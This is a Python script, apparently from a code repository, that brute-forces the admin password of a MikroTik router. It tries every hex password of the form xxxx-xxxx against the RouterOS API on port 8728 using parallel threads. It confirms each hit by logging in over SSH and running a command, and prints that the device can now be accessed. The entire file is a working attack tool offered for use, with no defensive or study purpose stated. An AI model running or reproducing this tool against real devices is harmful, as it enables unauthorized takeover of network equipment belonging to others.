network/mikrotik_reliable_fast.py
2026-05-08 17:47:42 -05:00

296 lines
No EOL
11 KiB
Python

#!/usr/bin/env python3
"""
Reliable Fast MikroTik Brute Force
Optimized for speed while maintaining authentication accuracy
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
import queue
import sys
class ReliableFastBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.found_password = None
def reliable_api_test(self, password):
"""Fast but reliable API test"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(2) # Reasonable timeout
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
tries = 0
while tries < 10: # Limit attempts
word = read_word()
if word == "":
break
sentence.append(word)
tries += 1
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response with timeout
sock.settimeout(1) # Shorter timeout for response
response = read_sentence()
sock.close()
# Reliable success detection
if response and len(response) > 0:
if response[0] == "!done":
return True
elif response[0] == "!trap":
# Check for specific error message
for item in response:
if "invalid user name or password" in item.lower():
return False
return False
return False
except Exception:
return False
def verify_password(self, password):
"""Double-check a potential password with multiple methods"""
print(f"\nVerifying potential password: {password}")
# Test API multiple times
api_results = []
for i in range(3):
result = self.reliable_api_test(password)
api_results.append(result)
time.sleep(0.1)
api_success = sum(api_results) >= 2 # Majority vote
# Test SSH as secondary verification
ssh_success = False
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=3,
allow_agent=False,
look_for_keys=False,
)
# Try to execute a command
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
output = stdout.read().decode()
client.close()
ssh_success = len(output) > 5 # Got some output
except Exception:
ssh_success = False
print(f" API results: {api_results} (success: {api_success})")
print(f" SSH result: {ssh_success}")
# Require both API and SSH success for verification
return api_success and ssh_success
def batch_worker(self, start_val, batch_size):
"""Process a batch of passwords"""
local_attempts = 0
for i in range(batch_size):
if self.stop_flag.is_set():
break
value = start_val + i
if value > 0xFFFFFFFF:
break
hex_str = f"{value:08x}"
password = f"{hex_str[:4]}-{hex_str[4:]}"
local_attempts += 1
if self.reliable_api_test(password):
# Potential match - verify it thoroughly
if self.verify_password(password):
with self.lock:
self.attempts += local_attempts
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
self.found_password = password
self.stop_flag.set()
return True
else:
print(f" False positive rejected: {password}")
with self.lock:
self.attempts += local_attempts
return False
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
"""Run reliable fast brute force"""
print(f"Reliable Fast MikroTik Brute Force")
print(f"Host: {self.host}")
print(f"Workers: {max_workers}")
print(f"Batch size: {batch_size}")
print(f"Starting from: 0x{start_from:08x}")
print("Features: Double verification, false positive rejection")
print("=" * 70)
self.start_time = time.time()
# Progress reporter
def progress_reporter():
last_attempts = 0
while not self.stop_flag.is_set():
time.sleep(5) # Report every 5 seconds
with self.lock:
current_attempts = self.attempts
if current_attempts > 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed
recent_rate = (current_attempts - last_attempts) / 5
current_value = start_from + current_attempts
hex_val = f"{current_value:08x}"
password = f"{hex_val[:4]}-{hex_val[4:]}"
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
print(f" Current: {password} (0x{current_value:08x})")
last_attempts = current_attempts
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
progress_thread.start()
# Submit work in batches
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = []
current_val = start_from
# Submit initial work
for _ in range(max_workers * 2):
if current_val > 0xFFFFFFFF:
break
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
# Process results and submit more work
while futures and not self.stop_flag.is_set():
completed = []
for future in futures:
if future.done():
completed.append(future)
try:
if future.result(): # Found password
self.stop_flag.set()
break
except Exception as e:
print(f"Worker error: {e}")
# Remove completed futures
for future in completed:
futures.remove(future)
# Submit more work
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
time.sleep(0.1)
elapsed = time.time() - self.start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
return self.found_password
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
print("Examples:")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
sys.exit(1)
host = sys.argv[1]
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
attacker = ReliableFastBruteForce(host)
password = attacker.run_reliable_fast(
max_workers=workers,
batch_size=50,
start_from=start_from
)
if password:
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
print(f"You can now access the device with admin:{password}")
else:
print(f"\n✗ No password found in tested range")
if __name__ == "__main__":
main()